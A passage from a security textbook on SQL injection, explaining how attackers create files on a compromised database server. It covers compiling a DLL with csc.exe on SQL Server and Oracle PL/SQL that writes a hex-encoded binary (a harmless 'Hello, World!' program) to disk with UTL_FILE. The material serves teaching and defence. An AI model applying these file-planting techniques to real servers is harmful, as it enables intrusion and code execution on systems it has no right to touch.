SQL Injection Attacks and Defense - 2009

300 Chapter 6 • Exploiting the Operating System
Figure 6.18 Compiling a Binary on SQL Server Using csc.exe
The example in Figure 6.18 creates a simple .NET source file and then calls on csc.exe
to compile the file as a DLL in the c:\temp directory on the SQL server. Even if the remote
server used a different directory naming scheme, an enterprising attacker would be able to
use csc.exe by running it out of the perfectly predictable DLL cache, %windir%\system32\
dllcache\csc.exe.
Oracle
Again, various possibilities exist to create files in Oracle. The following methods are available:
■■
■■
■■
■■
■■
utl_ file
DBMS_ADVISOR
External tables
Java
Operating system commands and redirection
Since Oracle 9i, utl_ file can write binary code on the file system. The following sample
code creates a binary file, hello.com, on the C: drive or the appropriate UNIX path of the
database server:
Create or replace directory EXT AS 'C:\';
DECLARE fi UTL_FILE.FILE_TYPE;
bu RAW(32767);
BEGIN
bu:=hextoraw('BF3B01BB8100021E8000B88200882780FB81750288D850E8060083C40
2CD20C35589E5B80100508D451A50B80F00508D5D00FFD383C40689EC5DC3558BEC8B5E
088B4E048B5606B80040CD21730231C08BE55DC39048656C6C6F2C20576F726C64210D0A');
fi:=UTL_FILE.fopen('EXT','hello.com','w',32767);
UTL_FILE.put_raw(fi,bu,TRUE);
UTL_FILE.fclose(fi);
END;
/